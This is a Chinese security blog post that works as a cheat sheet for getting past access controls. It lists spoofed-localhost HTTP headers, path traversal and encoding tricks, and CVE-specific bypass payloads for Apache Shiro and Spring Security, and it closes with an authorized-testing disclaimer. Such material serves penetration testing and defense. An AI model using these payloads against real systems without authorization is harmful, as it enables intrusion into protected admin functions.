两面包夹芝士:权限绕过

image

在进行目录爆破的时候,可以通过目录(权限)绕过来访问敏感url,从而进行进一步攻击

也可以通过指纹识别获取到系统后,检索对应接口结合此类绕过进行渗透(两面包夹芝士)

基础手法

使用IP访问

切换为IP访问可以多访问到一层目录

Header字段

通过设置Header字段来绕过
这部分我已经写成规则,可以在抓包时候自动替换,可以在我之前的文章中找到
指路链接 -> Yakit自定义

Client-IP: 127.0.0.1
Forwarded-For-Ip: 127.0.0.1
Forwarded-For: 127.0.0.1
Forwarded-For: localhost
Forwarded: 127.0.0.1
Forwarded: localhost
True-Client-IP: 127.0.0.1
X-Client-IP: 127.0.0.1
X-Custom-IP-Authorization: 127.0.0.1
X-Forward-For: 127.0.0.1
X-Forward: 127.0.0.1
X-Forward: localhost
X-Forwarded-By: 127.0.0.1
X-Forwarded-By: localhost
X-Forwarded-For-Original: 127.0.0.1
X-Forwarded-For-Original: localhost
X-Forwarded-For: 127.0.0.1
X-Forwarded-For: localhost
X-Forwarded-Server: 127.0.0.1
X-Forwarded-Server: localhost
X-Forwarded: 127.0.0.1
X-Forwarded: localhost
X-Forwared-Host: 127.0.0.1
X-Forwared-Host: localhost
X-Host: 127.0.0.1
X-Host: localhost
X-HTTP-Host-Override: 127.0.0.1
X-Originating-IP: 127.0.0.1
X-Real-IP: 127.0.0.1
X-Remote-Addr: 127.0.0.1
X-Remote-Addr: localhost
X-Remote-IP: 127.0.0.1
X-Original-URL: /admin
X-Override-URL: /admin
X-Rewrite-URL: /admin
Referer: /admin
User-Agent: Googlebot
User-Agent: Bingbot
User-Agent: iPhone

url编码绕过

对uri进行url编码

../ 绕过

有权限的uri:/user/login

目标uri:/admin/info

payload:/user/login/../../admin/info

;abc 绕过

匹配后缀为getinfo.do则进行权限校验,加入;aaa达成绕过

目标uri:/admin/getinfo.do

payload:/admin/getinfo.do;aaa

%00截断

字面意思0截断,用于文件上传

Shiro绕过

CVE-2010-3863

未进行标准化处理,在判断开头的时候,可以使用特殊字符绕过

目标URI:/admin/getinfo

payload:/./admin/getinfo

CVE-2016-6802

未进行标准化处理,在判断开头的时候,可以使用特殊字符绕过

目标URI:/admin/getinfo

payload:/aaa/../admin/getinfo

CVE-2020-1957 Shiro-682

Spring认为/admin=/admin/

Shiro不这样解析,存在匹配差异

目标URI:/admin/getinfo

payload:/admin/getinfo/

Spring处理畸形路径,会去掉;与下一个/之间的内容

而shiro会直接丢弃;之后的内容,导致绕过(只适用于低版本spring)

目标URI:/admin/getinfo

payload:/api/..;/admin/getinfo

CVE-2020-11989 Shiro-782

ContextPath 绕过

利用SHIRO-682,在开头使用/;/来绕过(只适用于低版本spring)

验证方法:在正常URI前加上/;/还能正常访问则存在

目标URI:/admin/getinfo

payload:/;/admin/getinfo

AntPathMatcher 绕过

CVE-2020-1957的修复中多加了一次url编码,%25%32%66会被解码为/

验证方法:在正常URI的最后一项中插入%25%32%66还能正常访问则存在

目标URI:/admin/getinfo/{username}

payload:/admin/getinfo/aaa%25%32%66aa

(此时username=aaa%25%32%66aa)

CVE-2020-17510

/admin匹配不到/admin/*

使用/admin/%2e在shiro中解码+标准化=/admin

在Spring(高版本)中为/admin/.

/%2e
/%2e/
/%2e%2e
/%2e%2e/

CVE-2020-17523

Shiro调用trim清除了空格,导致/admin/*规则被绕过

目标URI:/admin

payload:/admin/%20

CVE-2020-13933

依赖 PathVariable 注解

Shiro先处理url编码,然后处理分号,最后便准化路径

Spring先处理分号,然后处理url编码,最后表转化路径

这就导致了%3b可以绕过/audit/*的鉴权

目标URI:/admin/getinfo;Tony

payload:/admin/getinfo%3bTony

CVE-2022-32532

Shiro中正则匹配不会匹配换行%0d%0a

目标url:/getinfo/xxxx

payload:/getinfo/T%0aony

Shiro汇总

漏洞 bypass的目标 payload 条件
CVE-2010-3863 远古版本 /admin /./admin
CVE-2020-11989 分号处理 /admin /;/admin
CVE-2016-6802 未标准化 /sys/admin /a/../sys/admin
CVE-2020-1957 1-尾斜杠 /admin /admin/
CVE-2020-1957 2-分号处理 /swagger /api/..;/swagger spring低版本
CVE-2020-17523 空格处理 /admin /admin/%20
CVE-2020-13933 /getinfo;Tony /getinfo%3bTony 依赖PathVariable
CVE-2022-32532 %0a%0d /getinfo/xxxx /getinfo/t%0aom
CVE-2020-17510 点处理 /admin /admin/%2e spring高版本
/admin/%2e spring高版本
/admin/%2e%2e spring高版本
/admin/%2e%2e/ spring高版本

SpringSecurity

antMatchers配置不当

antMatchers("/admin").access("hasRole('ADMIN')")

正常的写法1:antMatchers("/admin/**").access("hasRole('ADMIN')")

正常的写法2:mvcMatchers("/admin").access("hasRole('ADMIN')")

错误配置导致可以通过/admin/,来绕过对/admin 的校验

目标URI:/admin

payload:/admin/

regexMatchers配置不当

.regexMatchers("/admin").access("hasRole('ADMIN')")

正确写法:.regexMatchers("/admin.*?").access("hasRole('ADMIN')")

未写为/admin.**,导致/admin/admin?绕过

目标URI:/admin

payload:/admin?

useSuffixPatternMatch 低版本

spring-webmvc版本在<=4.3.25的情况下suffixPatternMatch默认为True

该方法为是否启用后辍匹配,如果启用,则映射到/users的方法也可以匹配到/users.*

/users 和/users.*是相等的。可以通过添加后缀名绕过

Spring MVC版本在<=4.3.25的情况下suffixPatternMatch默认为True

目标URI:/admin

payload:/admin.jpg

CVE-2022-22978

config中.regexMatchers("/admin/.*").access("hasRole('ADMIN')")

controler中@RequestMapping(value={"/admin/**"},method={RequestMethod.GET})

一个/admin/.*一个/admin/**才会存在此漏洞,controler中指定子路径后漏洞不存在

目标URI:/admin

payload:/admin%0a

payload:/admin%0d

CVE-2016-5007

匹配器处理过于严格,admin!=admin空格

目标URI:/admin

payload:/admin%20

payload:/%0dadmin

CVE-2016-9879

未考虑 URL 路径参数。通过向请求添加带有编码/的 URL 路径参数,可以绕过

目标URI:/admin/getinfo

payload:/admin;%2fgetinfo

CVE-2018-1199

目标URI:/admin/getinfo

payload:/admin%3b%2fgetinfo

CVE-2022-31692

当Spring Security 版本处于特定版本时,可能会存在通过 forward 或 include 调度类型绕过授权规则的风险。

payload:数据包中有字段可以控制跳转处插入目标url

CVE-2023-34034

配置不当,未以/开头,导致失效

SpringSecurity汇总

漏洞 bypass目标 payload
antMatchers配置不当 /admin /admin/
regexMatchers配置不当 /admin /admin?
useSuffixPatternMatch 低版本 /admin /admin.jpg
CVE-2016-5007 /admin /admin%20
/%0dadmin
CVE-2022-22978 /admin /admin%0a
/admin%0d
CVE-2016-9879 /admin/getinfo /admin;%2fgetinfo
CVE-2018-1199 /admin/getinfo /admin%3b%2fgetinfo
CVE-2022-31692 转发漏洞 数据包中跳转
CVE-2023-34034 配置不当 直接访问

参考链接

https://su18.org/tag/E4M5nwSul/
https://www.cnblogs.com/nice0e3/p/16248252.html
https://xz.aliyun.com/t/13235


相信国家相信党,黑客没有好下场
请遵守相关法律法规,文中技术仅用于有授权的安全测试,禁止用于非法活动!
本文章仅面向拥有合法授权的渗透测试安全人员及进行常规操作的网络运维人员。
在操作的过程中,您应确保自己的所有行为符合当地法律法规,且不得进行违反中国人民共和国相关法律的活动。
作者不承担用户擅自使用相关技术从事任何活动所产生的任何责任。


posted @ 2024-09-04 10:23  aixve  阅读(164)  评论(0)    收藏  举报